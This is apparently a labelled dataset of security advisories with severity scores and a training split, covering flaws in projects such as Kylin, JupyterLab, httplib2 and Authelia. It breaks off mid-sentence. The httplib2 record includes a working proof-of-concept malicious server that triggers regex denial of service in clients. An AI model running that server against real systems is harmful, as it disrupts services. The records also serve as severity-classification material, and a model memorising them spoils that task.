-{"id": "69f154a2e39d8c124ad7", "text": "SQL Injection in Kylin\n\nKylin concatenates and executes a Hive SQL in Hive CLI or beeline when building a new segment; some part of the HQL is from system configurations, while the configuration can be overwritten by certain rest api, which makes SQL injection attack is possible. Users of all previous versions after 2.0 should upgrade to 3.1.0.", "text_raw": "SQL Injection in Kylin\n\n[Severity: CRITICAL]\n\nKylin concatenates and executes a Hive SQL in Hive CLI or beeline when building a new segment; some part of the HQL is from system configurations, while the configuration can be overwritten by certain rest api, which makes SQL injection attack is possible. Users of all previous versions after 2.0 should upgrade to 3.1.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "1ab66abba4a6e5c973ec", "text": "Beego has a file creation race condition\n\nThe File Session Manager in Beego 1.10.0 allows local users to read session files because there is a race condition involving file creation within a directory with weak permissions.", "text_raw": "Beego has a file creation race condition\n\n[Severity: MEDIUM]\n\nThe File Session Manager in Beego 1.10.0 allows local users to read session files because there is a race condition involving file creation within a directory with weak permissions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "cbb30dc6259ae632c3e3", "text": "Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution", "text_raw": "Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-10-11", "split": "train"}
-{"id": "4eed78221dc3d3c05b6b", "text": "XXE attack in Mapfish Print\n\n### Impact\nA user can do to an XML External Entity (XXE) attack with the provided SDL style.\n\n### Patches\nUse version >= 3.24\n\n### Workarounds\nNo\n\n### References\n* https://cwe.mitre.org/data/definitions/611.html\n* https://github.com/mapfish/mapfish-print/pull/1397/commits/e1d0527d13db06b2b62ca7d6afb9e97dacd67a0e\n\n### For more information\nIf you have any questions or comments about this advisory Comment the pull request: https://github.com/mapfish/mapfish-print/pull/1397", "text_raw": "XXE attack in Mapfish Print\n\n[Severity: CRITICAL]\n\n### Impact\nA user can do to an XML External Entity (XXE) attack with the provided SDL style.\n\n### Patches\nUse version >= 3.24\n\n### Workarounds\nNo\n\n### References\n* https://cwe.mitre.org/data/definitions/611.html\n* https://github.com/mapfish/mapfish-print/pull/1397/commits/e1d0527d13db06b2b62ca7d6afb9e97dacd67a0e\n\n### For more information\nIf you have any questions or comments about this advisory Comment the pull request: https://github.com/mapfish/mapfish-print/pull/1397\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "0035a16012550bca3c44", "text": "JupyterLab: XSS due to lack of sanitization of the action attribute of an html <form>\n\n### Impact\n\nUntrusted notebook can execute code on load. This is a remote code execution, but requires user action to open a notebook.\n\n### Patches\n\nPatched in the following versions: 3.1.4, 3.0.17, 2.3.2, 2.2.10, 1.2.21.\n\n### References\n\n[OWASP Page on Restricting Form Submissions](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.\n\nCredit: Guillaume Jeanne from Google", "text_raw": "JupyterLab: XSS due to lack of sanitization of the action attribute of an html <form>\n\n[Severity: MEDIUM]\n\n### Impact\n\nUntrusted notebook can execute code on load. This is a remote code execution, but requires user action to open a notebook.\n\n### Patches\n\nPatched in the following versions: 3.1.4, 3.0.17, 2.3.2, 2.2.10, 1.2.21.\n\n### References\n\n[OWASP Page on Restricting Form Submissions](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.\n\nCredit: Guillaume Jeanne from Google\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "b774af51a9708fec763f", "text": "Withdrawn, accidental duplicate publish.\n\nThe espeak-ruby gem before 1.0.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the speak, save, bytes or bytes_wav method in lib/espeak/speech.rb.", "text_raw": "High severity vulnerability that affects espeak-ruby\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe espeak-ruby gem before 1.0.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the speak, save, bytes or bytes_wav method in lib/espeak/speech.rb.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "c4cdb02ae1b25b4ad72b", "text": "Paratrooper-newrelic Exposes of Sensitive Information to an Unauthorized Actor\n\nThe paratrooper-newrelic gem 1.0.1 for Ruby allows local users to obtain the X-Api-Key value by listing the curl process.", "text_raw": "Paratrooper-newrelic Exposes of Sensitive Information to an Unauthorized Actor\n\n[Severity: LOW]\n\nThe paratrooper-newrelic gem 1.0.1 for Ruby allows local users to obtain the X-Api-Key value by listing the curl process.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "ca92adc7cd827a6c85f1", "text": "Regular Expression Denial of Service in riot-compiler\n\nAffected versions of `riot-compiler` are susceptible to a regular expression denial of service vulnerability.\n\n## Recommendation\n\nUpdate to version 2.3.22 or later.", "text_raw": "Regular Expression Denial of Service in riot-compiler\n\n[Severity: HIGH]\n\nAffected versions of `riot-compiler` are susceptible to a regular expression denial of service vulnerability.\n\n\n## Recommendation\n\nUpdate to version 2.3.22 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "4618cd64213ca05b7d0c", "text": "Path Traversal in public\n\nAll versions of `public` are vulnerable to Path Traversal. This vulnerability allows an attacker to access files outside the webroot since it allows symlink navigation in the URL.\n\n## Recommendation\n\nNo fix is currently available. Do not use `public` in production or consider using an alternative module until a fix is made available.", "text_raw": "Path Traversal in public\n\n[Severity: MEDIUM]\n\nAll versions of `public` are vulnerable to Path Traversal. This vulnerability allows an attacker to access files outside the webroot since it allows symlink navigation in the URL.\n\n\n## Recommendation\n\nNo fix is currently available. Do not use `public` in production or consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d94e2b612ecf43443a67", "text": "Dolibarr Cross Site Scripting (XSS) vulnerability\n\nA Cross Site Scripting (XSS) vulnerability exists in Dolibarr before 14.0.3 via the ticket creation flow. Exploitation requires that an admin copies the payload into a box.", "text_raw": "Dolibarr Cross Site Scripting (XSS) vulnerability\n\n[Severity: MEDIUM]\n\nA Cross Site Scripting (XSS) vulnerability exists in Dolibarr before 14.0.3 via the ticket creation flow. Exploitation requires that an admin copies the payload into a box.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "752bc9806ec7c3a1e1f3", "text": "sqlite3-ruby uses weak permissions for unspecified files, which allows local users to gain privileges\n\nThe sqlite3-ruby gem in the rubygem-sqlite3 package before 1.2.4-0.5.1 in SUSE Linux Enterprise (SLE) 11 SP1 uses weak permissions for unspecified files, which allows local users to gain privileges via unknown vectors.", "text_raw": "sqlite3-ruby uses weak permissions for unspecified files, which allows local users to gain privileges\n\n[Severity: LOW]\n\nThe sqlite3-ruby gem in the rubygem-sqlite3 package before 1.2.4-0.5.1 in SUSE Linux Enterprise (SLE) 11 SP1 uses weak permissions for unspecified files, which allows local users to gain privileges via unknown vectors.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "bacfcc30f785bb146d4e", "text": "Apache Ranger admin users can store some arbitrary javascript code to be executed when normal users login and access policies\n\nApache Ranger before 0.6.is vulnerable to a Stored Cross-Site Scripting in when entering custom policy conditions. Admin users can store some arbitrary javascript code to be executed when normal users login and access policies.", "text_raw": "Apache Ranger admin users can store some arbitrary javascript code to be executed when normal users login and access policies\n\n[Severity: MEDIUM]\n\nApache Ranger before 0.6.is vulnerable to a Stored Cross-Site Scripting in when entering custom policy conditions. Admin users can store some arbitrary javascript code to be executed when normal users login and access policies.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "4c3a30c53ebdc8ecb9c6", "text": "WordPress File Manager Plugin Remote Code Execution Vulnerability\n\nAffected: WordPress File Manager Plugin\n\nWordPress File Manager plugin contains a remote code execution vulnerability that allows unauthenticated users to execute PHP code and upload malicious files on a target site.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "WordPress File Manager Plugin Remote Code Execution Vulnerability\n\nAffected: WordPress File Manager Plugin\n\nWordPress File Manager plugin contains a remote code execution vulnerability that allows unauthenticated users to execute PHP code and upload malicious files on a target site.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "07c7512a2c27c5748afb", "text": "Path Traversal in angular-http-server\n\nAffected versions of `angular-http-server` are vulnerable to path traversal allowing a remote attacker to read files from the server that uses `angular-http-server`.\n\n## Recommendation\n\nUpdate to version 1.6.0 or later.\n\n:exclamation: Note: This was originally thought to be fixed in version 1.4.3, though according to [this issue](https://github.com/ossf-cve-benchmark/ossf-cve-benchmark/issues/117#issuecomment-803872454) the vulnerability was not completely fixed until version 1.6.0.", "text_raw": "Path Traversal in angular-http-server\n\n[Severity: MEDIUM]\n\nAffected versions of `angular-http-server` are vulnerable to path traversal allowing a remote attacker to read files from the server that uses `angular-http-server`.\n\n## Recommendation\n\nUpdate to version 1.6.0 or later.\n\n:exclamation: Note: This was originally thought to be fixed in version 1.4.3, though according to [this issue](https://github.com/ossf-cve-benchmark/ossf-cve-benchmark/issues/117#issuecomment-803872454) the vulnerability was not completely fixed until version 1.6.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "61e4c9f671d006622a9e", "text": "Apache Ozone user impersonation due to non-validation of Ozone S3 tokens\n\nIn Apache Ozone before 1.2.0, Authenticated users with valid Ozone S3 credentials can create specific OM requests, impersonating any other user.", "text_raw": "Apache Ozone user impersonation due to non-validation of Ozone S3 tokens\n\n[Severity: HIGH]\n\nIn Apache Ozone before 1.2.0, Authenticated users with valid Ozone S3 credentials can create specific OM requests, impersonating any other user.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "dea13d7c47626292e238", "text": "Signature validation bypass in ServiceStack\n\nServiceStack before 5.9.2 mishandles JWT signature verification unless an application has a custom ValidateToken function that establishes a valid minimum length for a signature.", "text_raw": "Signature validation bypass in ServiceStack\n\n[Severity: MEDIUM]\n\nServiceStack before 5.9.2 mishandles JWT signature verification unless an application has a custom ValidateToken function that establishes a valid minimum length for a signature.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-13", "split": "train"}
-{"id": "b6356b81a500cc76bcd0", "text": "Cross-site scripting in PageKit\n\nIn PageKit v1.0.18, a user can upload SVG files in the file upload portion of the CMS. These SVG files can contain malicious scripts. This file will be uploaded to the system and it will not be stripped or filtered. The user can create a link on the website pointing to \"/storage/exp.svg\" that will point to http://localhost/pagekit/storage/exp.svg. When a user comes along to click that link, it will trigger a XSS attack.", "text_raw": "Cross-site scripting in PageKit\n\n[Severity: MEDIUM]\n\nIn PageKit v1.0.18, a user can upload SVG files in the file upload portion of the CMS. These SVG files can contain malicious scripts. This file will be uploaded to the system and it will not be stripped or filtered. The user can create a link on the website pointing to \"/storage/exp.svg\" that will point to http://localhost/pagekit/storage/exp.svg. When a user comes along to click that link, it will trigger a XSS attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "7d45aaf545c89dd2843a", "text": "Out-of-bounds Read in byte\n\nVersions of `byte` before 1.4.1 allocate uninitialized buffers and read data from them past the initialized length\n\n## Recommendation\n\nUpdate to version 1.4.1 or later.", "text_raw": "Out-of-bounds Read in byte\n\n[Severity: MEDIUM]\n\nVersions of `byte` before 1.4.1 allocate uninitialized buffers and read data from them past the initialized length\n\n\n\n## Recommendation\n\nUpdate to version 1.4.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "f3bf088350b0c499a2c2", "text": "paranoid2 gem Code backdoor\n\nThe paranoid2 gem 1.1.6 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party. The current version, without this backdoor, is 1.1.5.", "text_raw": "paranoid2 gem Code backdoor\n\n[Severity: CRITICAL]\n\nThe paranoid2 gem 1.1.6 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party. The current version, without this backdoor, is 1.1.5.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "f33e5e2b35e7abc80e7d", "text": "lxml vulnerable to Cross-site Scripting\n\nA XSS vulnerability was discovered in python-lxml's clean module. The module's parser didn't properly imitate browsers, which caused different behaviors between the sanitizer and the user's page. A remote attacker could exploit this flaw to run arbitrary HTML/JS code.", "text_raw": "lxml vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nA XSS vulnerability was discovered in python-lxml's clean module. The module's parser didn't properly imitate browsers, which caused different behaviors between the sanitizer and the user's page. A remote attacker could exploit this flaw to run arbitrary HTML/JS code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-07", "split": "train"}
-{"id": "e1416ff1803cfe8c7719", "text": "Amcrest Cameras and NVR Stack-based Buffer Overflow Vulnerability\n\nAffected: Amcrest Cameras and Network Video Recorder (NVR)\n\nAmcrest cameras and NVR contain a stack-based buffer overflow vulnerability through port 37777 that allows an unauthenticated, remote attacker to crash the device and possibly execute code.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-121\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Amcrest Cameras and NVR Stack-based Buffer Overflow Vulnerability\n\nAffected: Amcrest Cameras and Network Video Recorder (NVR)\n\nAmcrest cameras and NVR contain a stack-based buffer overflow vulnerability through port 37777 that allows an unauthenticated, remote attacker to crash the device and possibly execute code.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-121\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f203ec6ff91473d631f4", "text": "Uncontrolled Resource Consumption in Indy Node\n\n# Summary\nIndy Node has a bug in TAA handling code. The current primary can be crashed with a malformed transaction from a client, which leads to a view change. Repeated rapid view changes have the potential of bringing down the network.\n\n# Discovery\nOn May 18, Evernym's monitoring of Sovrin StagingNet showed a report of StagingNet losing sufficient consensus to validate write transactions. The problem resolved itself within a few minutes. On May 20th we saw the alert multiple times, and we began analyzing the logs of our steward node. On May 21st we continued to see the alerts with increasing frequency.\n\nIt appears that someone is unknowingly sending a malformed transaction, and retrying when the transaction fails. The cause of the errors appear to be the TAA acceptance.\n\n# Proposed actions\n* Reproduce problem in integration tests and create a fix\n* Do a hotfix release branching from last stable (current master have some things merged that are too risky)\n* Upgrade BuilderNet, StagingNet and MainNet as soon as possible\n* Improve testing strategy on Indy Node to reduce probability of such bugs\n\n# Notes\n* The journalctl logs also show an out-of-memory problem on the Australia node. We need to evaluate if this should be raised as a separate issue.", "text_raw": "Uncontrolled Resource Consumption in Indy Node\n\n[Severity: CRITICAL]\n\n# Summary\nIndy Node has a bug in TAA handling code. The current primary can be crashed with a malformed transaction from a client, which leads to a view change. Repeated rapid view changes have the potential of bringing down the network.\n\n# Discovery\nOn May 18, Evernym's monitoring of Sovrin StagingNet showed a report of StagingNet losing sufficient consensus to validate write transactions. The problem resolved itself within a few minutes. On May 20th we saw the alert multiple times, and we began analyzing the logs of our steward node. On May 21st we continued to see the alerts with increasing frequency.\n\nIt appears that someone is unknowingly sending a malformed transaction, and retrying when the transaction fails. The cause of the errors appear to be the TAA acceptance.\n\n# Proposed actions\n* Reproduce problem in integration tests and create a fix\n* Do a hotfix release branching from last stable (current master have some things merged that are too risky)\n* Upgrade BuilderNet, StagingNet and MainNet as soon as possible\n* Improve testing strategy on Indy Node to reduce probability of such bugs\n\n# Notes\n* The journalctl logs also show an out-of-memory problem on the Australia node. We need to evaluate if this should be raised as a separate issue.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-11", "split": "train"}
-{"id": "782a5b6c20eb30d36b3b", "text": "Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass", "text_raw": "Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-07-12", "split": "train"}
-{"id": "1daa879f795e0951f935", "text": "Regular Expression Denial of Service (REDoS) in httplib2\n\n### Impact\nA malicious server which responds with long series of `\\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.\n\n### Patches\nVersion 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.\nhttps://github.com/httplib2/httplib2/pull/182\n\n### Workarounds\n```py\nimport httplib2\nhttplib2.USE_WWW_AUTH_STRICT_PARSING = True\n```\n\n### Technical Details\n\nThe vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338\n\nThe section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:\n\n\\s*[^ \\t\\r\\n=]+\\s*=\n\nSince all three infinitely repeating groups accept the non-breaking space character `\\xa0`, a long string of `\\xa0` causes catastrophic backtracking.\n\nThe complexity is cubic, so doubling the length of the malicious string of `\\xa0` makes processing take 8 times as long.\n\n### Reproduction Steps\n\nRun a malicious server which responds with\n\nwww-authenticate: x \\xa0\\xa0\\xa0\\xa0x\n\nbut with many more `\\xa0` characters.\n\nAn example malicious python server is below:\n\n```py\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\ndef make_header_value(n_spaces):\n    repeat = \"\\xa0\" * n_spaces\n    return f\"x {repeat}x\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.log_request(401)\n        self.send_response_only(401)  # Don't bother sending Server and Date\n        n_spaces = (\n            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences\n            if len(self.path) > 1 else\n            65512  # Max header line length 65536\n        )\n        value = make_header_value(n_spaces)\n        self.send_header(\"www-authenticate\", value)  # This header can actually be sent multiple times\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    HTTPServer((\"\", 1337), Handler).serve_forever()\n```\n\nConnect to the server with httplib2:\n\n```py\nimport httplib2\nhttplib2.Http(\".cache\").request(\"http://localhost:1337\", \"GET\")\n```\n\nTo benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000\n\n### References\nThanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2021-01](mailto:temotor@gmail.com)", "text_raw": "Regular Expression Denial of Service (REDoS) in httplib2\n\n[Severity: HIGH]\n\n### Impact\nA malicious server which responds with long series of `\\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.\n\n### Patches\nVersion 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.\nhttps://github.com/httplib2/httplib2/pull/182\n\n### Workarounds\n```py\nimport httplib2\nhttplib2.USE_WWW_AUTH_STRICT_PARSING = True\n```\n\n### Technical Details\n\nThe vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338\n\nThe section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:\n\n    \\s*[^ \\t\\r\\n=]+\\s*=\n\nSince all three infinitely repeating groups accept the non-breaking space character `\\xa0`, a long string of `\\xa0` causes catastrophic backtracking.\n\nThe complexity is cubic, so doubling the length of the malicious string of `\\xa0` makes processing take 8 times as long.\n\n### Reproduction Steps\n\nRun a malicious server which responds with\n\n    www-authenticate: x \\xa0\\xa0\\xa0\\xa0x\n\nbut with many more `\\xa0` characters.\n\nAn example malicious python server is below:\n\n```py\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\ndef make_header_value(n_spaces):\n    repeat = \"\\xa0\" * n_spaces\n    return f\"x {repeat}x\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.log_request(401)\n        self.send_response_only(401)  # Don't bother sending Server and Date\n        n_spaces = (\n            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences\n            if len(self.path) > 1 else\n            65512  # Max header line length 65536\n        )\n        value = make_header_value(n_spaces)\n        self.send_header(\"www-authenticate\", value)  # This header can actually be sent multiple times\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    HTTPServer((\"\", 1337), Handler).serve_forever()\n```\n\nConnect to the server with httplib2:\n\n```py\nimport httplib2\nhttplib2.Http(\".cache\").request(\"http://localhost:1337\", \"GET\")\n```\n\nTo benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000\n\n\n### References\nThanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2021-01](mailto:temotor@gmail.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "c14cf695ec2683e6a1c9", "text": "Denial of Service (DoS) in HashiCorp Consul\n\nHashiCorp Consul and Consul Enterprise up to 1.6.2 HTTP/RPC services allowed unbounded resource usage, and were susceptible to unauthenticated denial of service. Fixed in 1.6.3.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent/consul", "text_raw": "Denial of Service (DoS) in HashiCorp Consul\n\n[Severity: HIGH]\n\nHashiCorp Consul and Consul Enterprise up to 1.6.2 HTTP/RPC services allowed unbounded resource usage, and were susceptible to unauthenticated denial of service. Fixed in 1.6.3.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent/consul", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "4495fbcb90abcea14d4a", "text": "Apache Shiro vulnerable to a specially crafted HTTP request causing an authentication bypass\n\nApache Shiro before 1.8.0, when using Apache Shiro with Spring Boot, a specially crafted HTTP request may cause an authentication bypass. Users should update to Apache Shiro 1.8.0.", "text_raw": "Apache Shiro vulnerable to a specially crafted HTTP request causing an authentication bypass\n\n[Severity: CRITICAL]\n\nApache Shiro before 1.8.0, when using Apache Shiro with Spring Boot, a specially crafted HTTP request may cause an authentication bypass. Users should update to Apache Shiro 1.8.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "356a24492ef206a1ded9", "text": "VVE-2021-0002: Incorrect `returndatasize` when using simple forwarder proxies deployed prior to EIP-1167 adoption\n\n## Background\n\n@tjayrush reported a data handling issue with certain Web3 libraries using Vyper-deploy forwarder proxy contracts using our Vyper's built-in `create_forwarder_to` function prior to our change to support EIP-1167 style forwarder proxies.\n\n### Impact\nIf you are an end user of a forwarder-style proxy deployed using Vyper's built-in `create_forwarder_to` function AND you have a function that returns >4096 bytes AND you do no return data sanitation on the value returned, you could potentially see a data corruption issue.\n\nOtherwise, if you are handling the result of a return call AND you expect a specific `RETURNDATASIZE` that is less than 4096 (such as `SafeERC20.safeTransfer`) then the call will fail that check.\n\n### Patches\nThe issue was patched when we upgraded to EIP-1167 style forwarder proxies in #2281.\n\n### Workarounds\nIf you are making a call to a contract method that is expected to return <= 4096 bytes, there is no issue as the ABI decoders in both Solidity and Vyper will truncate the data properly. Web3 libraries will also do this, unless you are doing `eth_call` or `eth_sendTransaction` directly.\n\nIf you are using a Solidity library that checks `RETURNDATASIZE` of an external call to a forwarder proxy deployed prior to this patch, it will fail on that assertion (such as `SafeERC20.safeTransfer`). The workaround is to always do a greater than or equal to check, rather than a strict equals to check.", "text_raw": "VVE-2021-0002: Incorrect `returndatasize` when using simple forwarder proxies deployed prior to EIP-1167 adoption\n\n[Severity: LOW]\n\n## Background\n\n@tjayrush reported a data handling issue with certain Web3 libraries using Vyper-deploy forwarder proxy contracts using our Vyper's built-in `create_forwarder_to` function prior to our change to support EIP-1167 style forwarder proxies.\n\n### Impact\nIf you are an end user of a forwarder-style proxy deployed using Vyper's built-in `create_forwarder_to` function AND you have a function that returns >4096 bytes AND you do no return data sanitation on the value returned, you could potentially see a data corruption issue.\n\nOtherwise, if you are handling the result of a return call AND you expect a specific `RETURNDATASIZE` that is less than 4096 (such as `SafeERC20.safeTransfer`) then the call will fail that check.\n\n### Patches\nThe issue was patched when we upgraded to EIP-1167 style forwarder proxies in #2281.\n\n### Workarounds\nIf you are making a call to a contract method that is expected to return <= 4096 bytes, there is no issue as the ABI decoders in both Solidity and Vyper will truncate the data properly. Web3 libraries will also do this, unless you are doing `eth_call` or `eth_sendTransaction` directly.\n\nIf you are using a Solidity library that checks `RETURNDATASIZE` of an external call to a forwarder proxy deployed prior to this patch, it will fail on that assertion (such as `SafeERC20.safeTransfer`). The workaround is to always do a greater than or equal to check, rather than a strict equals to check.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "4ca784931db3890f8817", "text": "d3.js is malware\n\nThe `d3.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "d3.js is malware\n\n[Severity: HIGH]\n\nThe `d3.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "2a7f3943ece14b199b1a", "text": "Authelia vulnerable to an authentication bypassed with malformed request URI on nginx\n\n### Impact\nThis affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths.\n\n### Patches\nThe problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found below.\n\n<details><summary>Patch for 4.25.1:</summary><p>\n\n```patch\nFrom ca22f3d2c44ca7bef043ffbeeb06d6659c1d550f Mon Sep 17 00:00:00 2001\nFrom: James Elliott <james-d-elliott@users.noreply.github.com>\nDate: Wed, 19 May 2021 12:10:13 +1000\nSubject: [PATCH] fix(handlers): verify returns 200 on malformed request\n\nThis is a git patch for commit at tag v4.25.1 to address a potential method to bypass authentication in proxies that forward malformed information to Authelia in the forward auth process. Instead of returning a 200 this ensures that Authelia returns a 401 when this occurs.\n---\n internal/handlers/handler_verify.go | 4 +++-\n 1 file changed, 3 insertions(+), 1 deletion(-)\n\ndiff --git a/internal/handlers/handler_verify.go b/internal/handlers/handler_verify.go\nindex 65c064ce..4dd9702d 100644\n--- a/internal/handlers/handler_verify.go\n+++ b/internal/handlers/handler_verify.go\n@@ -396,7 +396,9 @@ func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.Reques\n \t\ttargetURL, err := getOriginalURL(ctx)\n\nif err != nil {\n-\t\t\tctx.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err), operationFailedMessage)\n+\t\t\tctx.Logger.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err))\n+\t\t\tctx.ReplyUnauthorized()\n+\n \t\t\treturn\n \t\t}\n\n-- \n2.31.1\n```\n\n</p></details>\n\n### Workarounds\nThe most relevant workaround is upgrading. **If you need assistance with an upgrade please contact us on [Matrix](https://riot.im/app/#/room/#authelia:matrix.org) or [Discord](https://discord.authelia.com).** Please just let us know you're needing help upgrading to above 4.29.2.\n\nYou can add an block which fails requests that contains a malformed URI in the internal location block. We have crafted one that should work in most instances, it basically checks no chars that are required to be URL-encoded for either the path or the query are in the URI. Basically this regex checks that the characters between the square braces are the only characters in the $request_uri header, if they exist, it returns a HTTP 401 status code. The characters in the regex match are tested to not cause a parsing error that would result in a failure, however they are not exhaustive since query strings seem to not always conform to the 